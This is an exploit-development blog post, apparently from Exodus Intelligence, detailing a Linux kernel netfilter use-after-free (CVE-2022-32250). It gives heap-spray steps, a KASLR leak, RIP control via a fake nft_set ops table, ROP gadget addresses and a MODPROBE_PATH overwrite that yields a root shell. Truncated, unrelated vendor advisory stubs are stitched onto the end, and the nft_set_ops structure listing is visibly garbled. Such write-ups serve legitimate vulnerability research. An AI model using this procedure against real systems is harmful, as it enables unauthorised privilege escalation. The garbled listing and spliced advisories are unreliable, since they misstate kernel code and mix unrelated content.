Linux Kernel: Exploiting a Netfilter Use-after-Free in kmalloc-cg

By Sergi Martinez

Overview

It’s been a while since our last technical blogpost, so here’s one right on time for the Christmas holidays. We describe a method to exploit a use-after-free in the Linux kernel when objects are allocated in a specific slab cache, namely the kmalloc-cg series of SLUB caches used for cgroups. This vulnerability is assigned CVE-2022-32250 and exists in Linux kernel versions 5.18.1 and prior.

The use-after-free vulnerability in the Linux kernel netfilter subsystem was discovered by NCC Group’s Exploit Development Group (EDG). They published a very detailed write-up with an in-depth analysis of the vulnerability and an exploitation strategy that targeted Linux Kernel version 5.13. Additionally, Theori published their own analysis and exploitation strategy, this time targetting the Linux Kernel version 5.15. We strongly recommend having a thorough read of both articles to better understand the vulnerability prior to reading this post, which almost exclusively focuses on an exploitation strategy that works on the latest vulnerable version of the Linux kernel, version 5.18.1.

The aforementioned exploitation strategies are different from each other and from the one detailed here since the targeted kernel versions have different peculiarities. In version 5.13, allocations performed with either the GFP_KERNEL flag or the GFP_KERNEL_ACCOUNT flag are served by the kmalloc-* slab caches. In version 5.15, allocations performed with the GFP_KERNEL_ACCOUNT flag are served by the kmalloc-cg-* slab caches. While in both 5.13 and 5.15 the affected object, nft_expr, is allocated using GFP_KERNEL, the difference in exploitation between them arises because a commonly used heap spraying object, the System V message structure (struct msg_msg), is served from kmalloc-* in 5.13 but from kmalloc-cg-* in 5.15. Therefore, in 5.15, struct msg_msg cannot be used to exploit this vulnerability.

In 5.18.1, the object involved in the use-after-free vulnerability, nft_expr, is itself allocated with GFP_KERNEL_ACCOUNT in the kmalloc-cg-* slab caches. Since the exploitation strategies presented by the NCC Group and Theori rely on objects allocated with  GFP_KERNEL, they do not work against the latest vulnerable version of the Linux kernel.

The subject of this blog post is to present a strategy that works on the latest vulnerable version of the Linux kernel.

Vulnerability

Netfilter sets can be created with a maximum of two associated expressions that have the NFT_EXPR_STATEFUL flag. The vulnerability occurs when a set is created with an associated expression that does not have the NFT_EXPR_STATEFUL flag, such as the dynset and lookup expressions. These two expressions have a reference to another set for updating and performing lookups, respectively. Additionally, to enable tracking, each set has a bindings list that specifies the objects that have a reference to them.

During the allocation of the associated dynset or lookup expression objects, references to the objects are added to the bindings list of the referenced set. However, when the expression associated to the set does not have the NFT_EXPR_STATEFUL flag, the creation is aborted and the allocated expression is destroyed. The problem occurs during the destruction process where the bindings list of the referenced set is not updated to remove the reference, effectively leaving a dangling pointer to the freed expression object. Whenever the set containing the dangling pointer in its bindings list is referenced again and its bindings list has to be updated, a use-after-free condition occurs.

Exploitation

Before jumping straight into exploitation details, first let’s see the definition of the structures involved in the vulnerability: nft_setnft_exprnft_lookup, and nft_dynset.

// Source: https://elixir.bootlin.com/linux/v5.18.1/source/include/net/netfilter/nf_tables.h#L502

struct nft_set {
        struct list_head           list;                 /*     0    16 */
        struct list_head           bindings;             /*    16    16 */
        struct nft_table *         table;                /*    32     8 */
        possible_net_t             net;                  /*    40     8 */
        char *                     name;                 /*    48     8 */
        u64                        handle;               /*    56     8 */
        /* --- cacheline 1 boundary (64 bytes) --- */
        u32                        ktype;                /*    64     4 */
        u32                        dtype;                /*    68     4 */
        u32                        objtype;              /*    72     4 */
        u32                        size;                 /*    76     4 */
        u8                         field_len[16];        /*    80    16 */
        u8                         field_count;          /*    96     1 */

        /* XXX 3 bytes hole, try to pack */

        u32                        use;                  /*   100     4 */
        atomic_t                   nelems;               /*   104     4 */
        u32                        ndeact;               /*   108     4 */
        u64                        timeout;              /*   112     8 */
        u32                        gc_int;               /*   120     4 */
        u16                        policy;               /*   124     2 */
        u16                        udlen;                /*   126     2 */
        /* --- cacheline 2 boundary (128 bytes) --- */
        unsigned char *            udata;                /*   128     8 */

        /* XXX 56 bytes hole, try to pack */

        /* --- cacheline 3 boundary (192 bytes) --- */
        const struct nft_set_ops  * ops __attribute__((__aligned__(64))); /*   192     8 */
        u16                        flags:14;             /*   200: 0  2 */
        u16                        genmask:2;            /*   200:14  2 */
        u8                         klen;                 /*   202     1 */
        u8                         dlen;                 /*   203     1 */
        u8                         num_exprs;            /*   204     1 */

        /* XXX 3 bytes hole, try to pack */

        struct nft_expr *          exprs[2];             /*   208    16 */
        struct list_head           catchall_list;        /*   224    16 */
        unsigned char              data[] __attribute__((__aligned__(8))); /*   240     0 */

        /* size: 256, cachelines: 4, members: 29 */
        /* sum members: 176, holes: 3, sum holes: 62 */
        /* sum bitfield members: 16 bits (2 bytes) */
        /* padding: 16 */
        /* forced alignments: 2, forced holes: 1, sum forced holes: 56 */
} __attribute__((__aligned__(64)));

The nft_set structure represents an nftables set, a built-in generic infrastructure of nftables that allows using any supported selector to build sets, which makes possible the representation of maps and verdict maps (check the corresponding nftables wiki entry for more details).

// Source: https://elixir.bootlin.com/linux/v5.18.1/source/include/net/netfilter/nf_tables.h#L347

/**
 *	struct nft_expr - nf_tables expression
 *
 *	@ops: expression ops
 *	@data: expression private data
 */
struct nft_expr {
	const struct nft_expr_ops	*ops;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};

The nft_expr structure is a generic container for expressions. The specific expression data is stored within its data member. For this particular vulnerability the relevant expressions are nft_lookup and nft_dynset, which are used to perform lookups on sets or update dynamic sets respectively.

// Source: https://elixir.bootlin.com/linux/v5.18.1/source/net/netfilter/nft_lookup.c#L18

struct nft_lookup {
        struct nft_set *           set;                  /*     0     8 */
        u8                         sreg;                 /*     8     1 */
        u8                         dreg;                 /*     9     1 */
        bool                       invert;               /*    10     1 */

        /* XXX 5 bytes hole, try to pack */

        struct nft_set_binding     binding;              /*    16    32 */

        /* XXX last struct has 4 bytes of padding */

        /* size: 48, cachelines: 1, members: 5 */
        /* sum members: 43, holes: 1, sum holes: 5 */
        /* paddings: 1, sum paddings: 4 */
        /* last cacheline: 48 bytes */
};

nft_lookup expressions have to be bound to a given set on which the lookup operations are performed.

// Source: https://elixir.bootlin.com/linux/v5.18.1/source/net/netfilter/nft_dynset.c#L15

struct nft_dynset {
        struct nft_set *           set;                  /*     0     8 */
        struct nft_set_ext_tmpl    tmpl;                 /*     8    12 */

        /* XXX last struct has 1 byte of padding */

        enum nft_dynset_ops        op:8;                 /*    20: 0  4 */

        /* Bitfield combined with next fields */

        u8                         sreg_key;             /*    21     1 */
        u8                         sreg_data;            /*    22     1 */
        bool                       invert;               /*    23     1 */
        bool                       expr;                 /*    24     1 */
        u8                         num_exprs;            /*    25     1 */

        /* XXX 6 bytes hole, try to pack */

        u64                        timeout;              /*    32     8 */
        struct nft_expr *          expr_array[2];        /*    40    16 */
        struct nft_set_binding     binding;              /*    56    32 */

        /* XXX last struct has 4 bytes of padding */

        /* size: 88, cachelines: 2, members: 11 */
        /* sum members: 81, holes: 1, sum holes: 6 */
        /* sum bitfield members: 8 bits (1 bytes) */
        /* paddings: 2, sum paddings: 5 */
        /* last cacheline: 24 bytes */
};

nft_dynset expressions have to be bound to a given set on which the add, delete, or update operations will be performed.

When a given nft_set has expressions bound to it, they are added to the nft_set.bindings double linked list. A visual representation of an nft_set with 2 expressions is shown in the diagram below.

The binding member of the nft_lookup and nft_dynset expressions is defined as follows:

// Source: https://elixir.bootlin.com/linux/v5.18.1/source/include/net/netfilter/nf_tables.h#L576

/**
 *	struct nft_set_binding - nf_tables set binding
 *
 *	@list: set bindings list node
 *	@chain: chain containing the rule bound to the set
 *	@flags: set action flags
 *
 *	A set binding contains all information necessary for validation
 *	of new elements added to a bound set.
 */
struct nft_set_binding {
	struct list_head		list;
	const struct nft_chain		*chain;
	u32				flags;
};

The important member in our case is the list member. It is of type struct list_head, the same as the nft_lookup.binding and nft_dynset.binding members. These are the foundation for building a double linked list in the kernel. For more details on how linked lists in the Linux kernel are implemented refer to this article.

With this information, let’s see what the vulnerability allows to do. Since the UAF occurs within a double linked list let’s review the common operations on them and what that implies in our scenario. Instead of showing a generic example, we are going to use the linked list that is build with the nft_set and the expressions that can be bound to it.

In the diagram shown above, the simplified pseudo-code for removing the nft_lookup expression from the list would be:

nft_lookup.binding.list->prev->next = nft_lookup.binding.list->next
nft_lookup.binding.list->next->prev = nft_lookup.binding.list->prev

This code effectively writes the address of nft_dynset.binding in nft_set.bindings.next, and the address of nft_set.bindings in nft_dynset.binding.list->prev. Since the binding member of nft_lookup and nft_dynset expressions are defined at different offsets, the write operation is done at different offsets.

With this out of the way we can now list the write primitives that this vulnerability allows, depending on which expression is the vulnerable one:

  • nft_lookup: Write an 8-byte address at offset 24 (binding.list->next) or offset 32 (binding.list->prev) of a freed nft_lookup object.
  • nft_dynset: Write an 8-byte address at offset 64 (binding.list->next) or offset 72 (binding.list->prev) of a freed nft_dynset object.

The offsets mentioned above take into account the fact that nft_lookup and nft_dynset expressions are bundled in the data member of an nft_expr object (the data member is at offset 8).

In order to do something useful with the limited write primitves that the vulnerability offers we need to find objects allocated within the same slab caches as the nft_lookup and nft_dynset expression objects that have an interesting member at the listed offsets.

As mentioned before, in Linux kernel 5.18.1 the nft_expr objects are allocated using the GFP_KERNEL_ACCOUNT flag, as shown below.

// Source: https://elixir.bootlin.com/linux/v5.18.1/source/net/netfilter/nf_tables_api.c#L2866

static struct nft_expr *nft_expr_init(const struct nft_ctx *ctx,
				      const struct nlattr *nla)
{
	struct nft_expr_info expr_info;
	struct nft_expr *expr;
	struct module *owner;
	int err;

	err = nf_tables_expr_parse(ctx, nla, &expr_info);
	if (err < 0)
            goto err1;
        err = -ENOMEM;

        expr = kzalloc(expr_info.ops->size, GFP_KERNEL_ACCOUNT);
	if (expr == NULL)
	    goto err2;

	err = nf_tables_newexpr(ctx, &expr_info, expr);
	if (err < 0)
            goto err3;

        return expr;
err3:
        kfree(expr);
err2:
        owner = expr_info.ops->type->owner;
	if (expr_info.ops->type->release_ops)
	    expr_info.ops->type->release_ops(expr_info.ops);

	module_put(owner);
err1:
	return ERR_PTR(err);
}

Therefore, the objects suitable for exploitation will be different from those of the publicly available exploits targetting version 5.13 and 5.15.

Exploit Strategy

The ultimate primitives we need to exploit this vulnerability are the following:

  • Memory leak primitive: Mainly to defeat KASLR.
  • RIP control primitive: To achieve kernel code execution and escalate privileges.

However, neither of these can be achieved by only using the 8-byte write primitive that the vulnerability offers. The 8-byte write primitive on a freed object can be used to corrupt the object replacing the freed allocation. This can be leveraged to force a partial free on either the nft_setnft_lookup or the nft_dynset objects.

Partially freeing nft_lookup and nft_dynset objects can help with leaking pointers, while partially freeing an nft_set object can be pretty useful to craft a partial fake nft_set to achieve RIP control, since it has an ops member that points to a function table.

Therefore, the high-level exploitation strategy would be the following:

  1. Leak the kernel image base address.
  2. Leak a pointer to an nft_set object.
  3. Obtain RIP control.
  4. Escalate privileges by overwriting the kernel’s MODPROBE_PATH global variable.
  5. Return execution to userland and drop a root shell.

The following sub-sections describe how this can be achieved.

Partial Object Free Primitive

A partial object free primitive can be built by looking for a kernel object allocated with GFP_KERNEL_ACCOUNT within kmalloc-cg-64 or kmalloc-cg-96, with a pointer at offsets 24 or 32 for kmalloc-cg-64 or at offsets 64 and 72 for kmalloc-cg-96. Afterwards, when the object of interest is destroyed, kfree() has to be called on that pointer in order to partially free the targeted object.

One of such objects is the fdtable object, which is meant to hold the file descriptor table for a given process. Its definition is shown below.

// Source: https://elixir.bootlin.com/linux/v5.18.1/source/include/linux/fdtable.h#L27

struct fdtable {
        unsigned int               max_fds;              /*     0     4 */

        /* XXX 4 bytes hole, try to pack */

        struct file * *            fd;                   /*     8     8 */
        long unsigned int *        close_on_exec;        /*    16     8 */
        long unsigned int *        open_fds;             /*    24     8 */
        long unsigned int *        full_fds_bits;        /*    32     8 */
        struct callback_head       rcu __attribute__((__aligned__(8))); /*    40    16 */

        /* size: 56, cachelines: 1, members: 6 */
        /* sum members: 52, holes: 1, sum holes: 4 */
        /* forced alignments: 1 */
        /* last cacheline: 56 bytes */
} __attribute__((__aligned__(8)));
The size of an fdtable object is 56, is allocated in the kmalloc-cg-64 slab and thus can be used to replace nft_lookup objects. It has a member of interest at offset 24 (open_fds), which is a pointer to an unsigned long integer array. The allocation of fdtable objects is done by the kernel function alloc_fdtable(), which can be reached with the following call stack.
alloc_fdtable()
 |  
 +- dup_fd()
    |
    +- copy_files()
      |
      +- copy_process()
        |
        +- kernel_clone()
          |
          +- fork() syscall
Therefore, by calling the fork() system call the current process is copied and thus the currently open files. This is done by allocating a new file descriptor table object (fdtable), if required, and copying the currently open file descriptors to it. The allocation of a new fdtable object only happens when the number of open file descriptors exceeds NR_OPEN_DEFAULT, which is defined as 64 on 64-bit machines. The following listing shows this check.
// Source: https://elixir.bootlin.com/linux/v5.18.1/source/fs/file.c#L316

/* * Allocate a new files structure and copy contents from the * passed in files structure. * errorp will be valid only when the returned files_struct is NULL. */ struct files_struct *dup_fd(struct files_struct *oldf, unsigned int max_fds, int *errorp) { struct files_struct *newf; struct file **old_fds, **new_fds; unsigned int open_files, i; struct fdtable *old_fdt, *new_fdt; *errorp = -ENOMEM; newf = kmem_cache_alloc(files_cachep, GFP_KERNEL); if (!newf) goto out; atomic_set(&newf->count, 1); spin_lock_init(&newf->file_lock); newf->resize_in_progress = false; init_waitqueue_head(&newf->resize_wait); newf->next_fd = 0; new_fdt = &newf->fdtab; [1] new_fdt->max_fds = NR_OPEN_DEFAULT; new_fdt->close_on_exec = newf->close_on_exec_init; new_fdt->open_fds = newf->open_fds_init; new_fdt->full_fds_bits = newf->full_fds_bits_init; new_fdt->fd = &newf->fd_array[0]; spin_lock(&oldf->file_lock); old_fdt = files_fdtable(oldf); open_files = sane_fdtable_size(old_fdt, max_fds); /* * Check whether we need to allocate a larger fd array and fd set. */ [2] while (unlikely(open_files > new_fdt->max_fds)) { spin_unlock(&oldf->file_lock); if (new_fdt != &newf->fdtab) __free_fdtable(new_fdt); [3] new_fdt = alloc_fdtable(open_files - 1); if (!new_fdt) { *errorp = -ENOMEM; goto out_release; } [Truncated] } [Truncated] return newf; out_release: kmem_cache_free(files_cachep, newf); out: return NULL; }

At [1] the max_fds member of new_fdt is set to NR_OPEN_DEFAULT. Afterwards, at [2] the loop executes only when the number of open files exceeds the max_fds value. If the loop executes, at [3] a new fdtable object is allocated via the alloc_fdtable() function.

Therefore, to force the allocation of fdtable objects in order to replace a given free object from kmalloc-cg-64 the following steps must be taken:

  1. Create more than 64 open file descriptors. This can be easily done by calling the dup() function to duplicate an existing file descriptor, such as the stdout. This step should be done before triggering the free of the object to be replaced with an fdtable object, since the dup() system call also ends up allocating fdtable objects that can interfere.
  2. Once the target object has been freed, fork the current process a large number of times. Each fork() execution creates one fdtable object.

The free of the open_fds pointer is triggered when the fdtable object is destroyed in the __free_fdtable() function.

// Source: https://elixir.bootlin.com/linux/v5.18.1/source/fs/file.c#L34

static void __free_fdtable(struct fdtable *fdt) { kvfree(fdt->fd); kvfree(fdt->open_fds); kfree(fdt); }

Therefore, the partial free via the overwritten open_fds pointer can be triggered by simply terminating the child process that allocated the fdtable object.

Leaking Pointers

The exploit primitive provided by this vulnerability can be used to build a leaking primitive by overwriting the vulnerable object with an object that has an area that will be copied back to userland. One such object is the System V message represented by the msg_msg structure, which is allocated in kmalloc-cg-* slab caches starting from kernel version 5.14.

The msg_msg structure acts as a header of System V messages that can be created via the userland msgsnd() function. The content of the message can be found right after the header within the same allocation. System V messages are a widely used exploit primitive for heap spraying.

// Source: https://elixir.bootlin.com/linux/v5.18.1/source/include/linux/msg.h#L9

struct msg_msg { struct list_head m_list; /* 0 16 */ long int m_type; /* 16 8 */ size_t m_ts; /* 24 8 */ struct msg_msgseg * next; /* 32 8 */ void * security; /* 40 8 */ /* size: 48, cachelines: 1, members: 5 */ /* last cacheline: 48 bytes */ };

Since the size of the allocation for a System V message can be controlled, it is possible to allocate it in both kmalloc-cg-64 and kmalloc-cg-96 slab caches.

It is important to note that any data to be leaked must be written past the first 48 bytes of the message allocation, otherwise it would overwrite the msg_msg header. This restriction discards the nft_lookup object as a candidate to apply this technique to as it is only possible to write the pointer either at offset 24 or offset 32 within the object. The ability of overwriting the msg_msg.m_ts member, which defines the size of the message, helps building a strong out-of-bounds read primitive if the value is large enough. However, there is a check in the code to ensure that the m_ts member is not negative when interpreted as a signed long integer and heap addresses start with 0xffff, making it a negative long integer. 

Leaking an nft_set Pointer

Leaking a pointer to an nft_set object is quite simple with the memory leak primitive described above. The steps to achieve it are the following:

1. Create a target set where the expressions will be bound to.

2. Create a rule with a lookup expression bound to the target set from step 1.

3. Create a set with an embedded nft_dynset expression bound to the target set. Since this is considered an invalid expression to be embedded to a set, the nft_dynset object will be freed but not removed from the target set bindings list, causing a UAF.

4. Spray System V messages in the kmalloc-cg-96 slab cache in order to replace the freed nft_dynset object (via msgsnd() function). Tag all the messages at offset 24 so the one corrupted with the nft_set pointer can later be identified.

5. Remove the rule created, which will remove the entry of the nft_lookup expression from the target set’s bindings list. Removing this from the list effectively writes a pointer to the target nft_set object where the original binding.list.prev member was (offset 72). Since the freed nft_dynset object was replaced by a System V message, the pointer to the nft_set will be written at offset 24 within the message data.

6. Use the userland msgrcv() function to read the messages and check which one does not have the tag anymore, as it would have been replaced by the pointer to the nft_set.

Leaking a Kernel Function Pointer

Leaking a kernel pointer requires a bit more work than leaking a pointer to an nft_set object. It requires being able to partially free objects within the target set bindings list as a means of crafting use-after-free conditions. This can be done by using the partial object free primitive using fdtable object already described. The steps followed to leak a pointer to a kernel function are the following.

1. Increase the number of open file descriptors by calling dup() on stdout 65 times.

2. Create a target set where the expressions will be bound to (different from the one used in the `nft_set` adress leak).

3. Create a set with an embedded nft_lookup expression bound to the target set. Since this is considered an invalid expression to be embedded into a set, the nft_lookup object will be freed but not removed from the target set bindings list, causing a UAF.

4. Spray fdtable objects in order to replace the freed nft_lookup from step 3.

5. Create a set with an embedded nft_dynset expression bound to the target set. Since this is considered an invalid expression to be embedded into a set, the nft_dynset object will be freed but not removed from the target set bindings list, causing a UAF. This addition to the bindings list will write the pointer to its binding member into the open_fds member of the fdtable object (allocated in step 4) that replaced the nft_lookup object.

6. Spray System V messages in the kmalloc-cg-96 slab cache in order to replace the freed nft_dynset object (via msgsnd() function). Tag all the messages at offset 8 so the one corrupted can be identified.

7. Kill all the child processes created in step 4 in order to trigger the partial free of the System V message that replaced the nft_dynset object, effectively causing a UAF to a part of a System V message.

8. Spray time_namespace objects in order to replace the partially freed System V message allocated in step 7. The reason for using the time_namespace objects is explained later.

9. Since the System V message header was not corrupted, find the System V message whose tag has been overwritten. Use msgrcv() to read the data from it, which is overlapping with the newly allocated time_namespace object. The offset 40 of the data portion of the System V message corresponds to time_namespace.ns->ops member, which is a function table of functions defined within the kernel core. Armed with this information and the knowledge of the offset from the kernel base image to this function it is possible to calculate the kernel image base address.

10. Clean-up the child processes used to spray the time_namespace objects.

time_namespace objects are interesting because they contain an ns_common structure embedded in them, which in turn contains an ops member that points to a function table with functions defined within the kernel core. The time_namespace structure definition is listed below.

// Source: https://elixir.bootlin.com/linux/v5.18.1/source/include/linux/time_namespace.h#L19

struct time_namespace { struct user_namespace * user_ns; /* 0 8 */ struct ucounts * ucounts; /* 8 8 */ struct ns_common ns; /* 16 24 */ struct timens_offsets offsets; /* 40 32 */ /* --- cacheline 1 boundary (64 bytes) was 8 bytes ago --- */ struct page * vvar_page; /* 72 8 */ bool frozen_offsets; /* 80 1 */ /* size: 88, cachelines: 2, members: 6 */ /* padding: 7 */ /* last cacheline: 24 bytes */ };

At offset 16, the ns member is found. It is an ns_common structure, whose definition is the following.

// Source: https://elixir.bootlin.com/linux/v5.18.1/source/include/linux/ns_common.h#L9

struct ns_common { atomic_long_t stashed; /* 0 8 */ const struct proc_ns_operations * ops; /* 8 8 */ unsigned int inum; /* 16 4 */ refcount_t count; /* 20 4 */ /* size: 24, cachelines: 1, members: 4 */ /* last cacheline: 24 bytes */ };

At offset 8 within the ns_common structure the ops member is found. Therefore, time_namespace.ns->ops is at offset 24.

Spraying time_namespace objects can be done by calling the unshare() system call and providing the CLONE_NEWUSER and CLONE_NEWTIME. In order to avoid altering the execution of the current process the unshare() executions can be done in separate processes created via fork().

clone_time_ns()
  |
  +- copy_time_ns()
    |
    +- create_new_namespaces()
      |
      +- unshare_nsproxy_namespaces()
        |
        +- unshare() syscall

The CLONE_NEWTIME flag is required because of a check in the function copy_time_ns() (listed below) and CLONE_NEWUSER is required to be able to use the CLONE_NEWTIME flag from an unprivileged user.

// Source: https://elixir.bootlin.com/linux/v5.18.1/source/kernel/time/namespace.c#L133

/** * copy_time_ns - Create timens_for_children from @old_ns * @flags: Cloning flags * @user_ns: User namespace which owns a new namespace. * @old_ns: Namespace to clone * * If CLONE_NEWTIME specified in @flags, creates a new timens_for_children; * adds a refcounter to @old_ns otherwise. * * Return: timens_for_children namespace or ERR_PTR. */ struct time_namespace *copy_time_ns(unsigned long flags, struct user_namespace *user_ns, struct time_namespace *old_ns) { if (!(flags & CLONE_NEWTIME)) return get_time_ns(old_ns); return clone_time_ns(user_ns, old_ns); }

RIP Control

Achieving RIP control is relatively easy with the partial object free primitive. This primitive can be used to partially free an nft_set object whose address is known and replace it with a fake nft_set object created with a System V message. The nft_set objects contain an ops member, which is a function table of type nft_set_ops. Crafting this function table and triggering the right call will lead to RIP control.

The following is the definition of the nft_set_ops structure.

// Source: https://elixir.bootlin.com/linux/v5.18.1/source/include/net/netfilter/nf_tables.h#L389

struct nft_set_ops { bool (*lookup)(const struct net *, const struct nft_set *, const u32 *, const struct nft_set_ext * *); /* 0 8 */ bool (*update)(struct nft_set *, const u32 *, void * (*)(struct nft_set *, const struct nft_expr *, struct nft_regs *), const struct nft_expr *, struct nft_regs *, const struct nft_set_ext * *); /* 8 8 */ bool (*delete)(const struct nft_set *, const u32 *); /* 16 8 */ int (*insert)(const struct net *, const struct nft_set *, const struct nft_set_elem *, struct nft_set_ext * *); /* 24 8 */ void (*activate)(const struct net *, const struct nft_set *, const struct nft_set_elem *); /* 32 8 */ void * (*deactivate)(const struct net *, const struct nft_set *, cstimate *); /* 88 8 */ int (*init)(const struct nft_set *, const struct nft_set_desc *, const struct nlattr * const *); /* 96 8 */ void (*destroy)(const struct nft_set *); /* onst struct nft_set_elem *); /* 40 8 */ bool (*flush)(const struct net *, const struct nft_set *, void *); /* 48 8 */ void (*remove)(const struct net *, const struct nft_set *, const struct nft_set_elem *); /* 56 8 */ /* --- cacheline 1 boundary (64 bytes) --- */ void (*walk)(const struct nft_ctx *, struct nft_set *, struct nft_set_iter *); /* 64 8 */ void * (*get)(const struct net *, const struct nft_set *, const struct nft_set_elem *, unsigned int); /* 72 8 */ u64 (*privsize)(const struct nlattr * const *, const struct nft_set_desc *); /* 80 8 */ bool (*estimate)(const struct nft_set_desc *, u32, struct nft_set_e104 8 */ void (*gc_init)(const struct nft_set *); /* 112 8 */ unsigned int elemsize; /* 120 4 */ /* size: 128, cachelines: 2, members: 16 */ /* padding: 4 */ };

The delete member is executed when an item has to be removed from the set. The item removal can be done from a rule that removes an element from a set when certain criteria is matched. Using the nft command, a very simple one can be as follows:

nft add table inet test_dynset
nft add chain inet test_dynset my_input_chain { type filter hook input priority 0\;}
nft add set inet test_dynset my_set { type ipv4_addr\; }
nft add rule inet test_dynset my_input_chain ip saddr 127.0.0.1 delete @my_set { 127.0.0.1 }

The snippet above shows the creation of a table, a chain, and a set that contains elements of type ipv4_addr (i.e. IPv4 addresses). Then a rule is added, which deletes the item 127.0.0.1 from the set my_set when an incoming packet has the source IPv4 address 127.0.0.1. Whenever a packet matching that criteria is processed via nftables, the delete function pointer of the specified set is called.

Therefore, RIP control can be achieved with the following steps. Consider the target set to be the nft_set object whose address was already obtained.

  1. Add a rule to the table being used for exploitation in which an item is removed from the target set when the source IP of incoming packets is 127.0.0.1.
  2. Partially free the nft_set object from which the address was obtained.
  3. Spray System V messages containing a partially fake nft_set object containing a fake ops table, with a given value for the ops->delete member.
  4. Trigger the call of nft_set->ops->delete by locally sending a network packet to 127.0.0.1. This can be done by simply opening a TCP socket to 127.0.0.1 at any port and issuing a connect() call.

Escalating Privileges

Once the control of the RIP register is achieved and thus the code execution can be redirected, the last step is to escalate privileges of the current process and drop to an interactive shell with root privileges.

A way of achieving this is as follows:

  1. Pivot the stack to a memory area under control. When the delete function is called, the RSI register contains the address of the memory region where the nftables register values are stored. The values of such registers can be controlled by adding an immediate expression in the rule created to achieve RIP control.
  2. Afterwards, since the nftables register memory area is not big enough to fit a ROP chain to overwrite the MODPROBE_PATH global variable, the stack is pivoted again to the end of the fake nft_set used for RIP control.
  3. Build a ROP chain to overwrite the MODPROBE_PATH global variable. Place it at the end of the nft_set mentioned in step 2.
  4. Return to userland by using the KPTI trampoline.
  5. Drop to a privileged shell by leveraging the overwritten MODPROBE_PATH global variable.

The stack pivot gadgets and ROP chain used can be found below.

// ROP gadget to pivot the stack to the nftables registers memory area
0xffffffff8169361f: push rsi ; add byte [rbp+0x310775C0], al ; rcr byte [rbx+0x5D], 0x41 ; pop rsp ; ret ;
// ROP gadget to pivot the stack to the memory allocation holding the target nft_set
0xffffffff810b08f1: pop rsp ; ret ;

When the execution flow is redirected, the RSI register contains the address otf the nftables’ registers memory area. This memory can be controlled and thus is used as a temporary stack, given that the area is not big enough to hold the entire ROP chain. Afterwards, using the second gadget shown above, the stack is pivoted towards the end of the fake nft_set object.

// ROP chain used to overwrite the MODPROBE_PATH global variable

0xffffffff8148606b: pop rax ; ret ;
0xffffffff8120f2fc: pop rdx ; ret ;
0xffffffff8132ab39: mov qword [rax], rdx ; ret ;

It is important to mention that the stack pivoting gadget that was used performs memory dereferences, requiring the address to be mapped. While experimentally the address was usually mapped, it negatively impacts the exploit reliability.

Wrapping Up

We hope you enjoyed this reading and could learn something new. If you are hungry for more make sure to check our other blog posts.

We wish y’all a great Christmas holidays and a happy new year! Here’s to a 2023 with more bugs, exploits, and write ups!

TP-Link WA850RE Unauthenticated Configuration Disclosure Vulnerability

EIP-9098806c

A vulnerability exists within the httpd server of the TP-Link WA850RE Universal Wi-Fi Range Extender that allows remote unauthenticated attackers to download the configuration file. Retrieval of this file results in the exposure of admin credentials and other sensitive information.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-9098806c
  • MITRE CVE: TBD

Vulnerability Metrics

  • CVSSv2 Score: 8.3

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 10th, 2021
  • Disclosed to public: June 23rd, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com.

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program (RSP).

TP-Link WA850RE Remote Command Injection Vulnerability

EIP-7758d2d4

A vulnerability exists within the httpd server of the TP-Link WA850RE Universal Wi-Fi Range Extender that allows authenticated attackers to inject arbitrary commands as arguments to an execve() call due to a lack of input sanitization. Injected commands are executed with root privileges. This issue is further exacerbated when combined with the configuration leak from EIP-9098806c.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-7758d2d4
  • MITRE CVE: TBD

Vulnerability Metrics

  • CVSSv2 Score: 7.7

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 10th, 2021
  • Disclosed to public: June 23rd, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com.

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program (RSP).

TP-Link WR940N/WR941ND Uninitialized Pointer Vulnerability

EIP-9ad27c94

An uninitialized pointer vulnerability exists within TP-Link’s WR940N and WR941ND SOHO router devices specifically during the processing of UPnP/SOAP SUBSCRIBE requests. Successful exploitation allow local unauthenticated attackers the ability to execute arbitrary code under the context of the ‘root’ user.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-9ad27c94
  • MITRE CVE: TBD

Vulnerability Metrics

  • CVSSv2 Score: 8.3

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 10th, 2021
  • Disclosed to public: June 23rd, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com.

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program (RSP).

Mitel Web Management Interface Buffer Overflow Vulnerability

EIP-c4542e4d

A stack-based buffer overflow vulnerability exists within multiple Mitel product web management interfaces, including the 3300 Controller and MiVoice Business product lines. Improper handling of the ‘Lang’ query parameter allows remote unauthenticated attackers to execute arbitrary code.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-c4542e4d
  • MITRE CVE: TBD

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Austin Martinetti and Brett Bryant working through the our Research Sponsorship Program (RSP).

Disclosure Timeline

  • Disclosed to affected vendor: April 21st, 2022
  • Disclosed to public: June 9th, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com.

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program (RSP).

SalesAgility SuiteCRM ‘deleteAttachment’ Type Confusion Vulnerability

EIP-0077b802

A type confusion vulnerability exists within SalesAgility SuiteCRM within the processing of the ‘module’ parameter within the ‘deleteAttachment’ functionality. Successful exploitation allows remote unauthenticated attackers to alter database objects including changing the email address of the administrator.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-0077b802
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 9.7

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: March 2nd, 2022
  • Disclosed to public: June 9th, 2022

Further Information

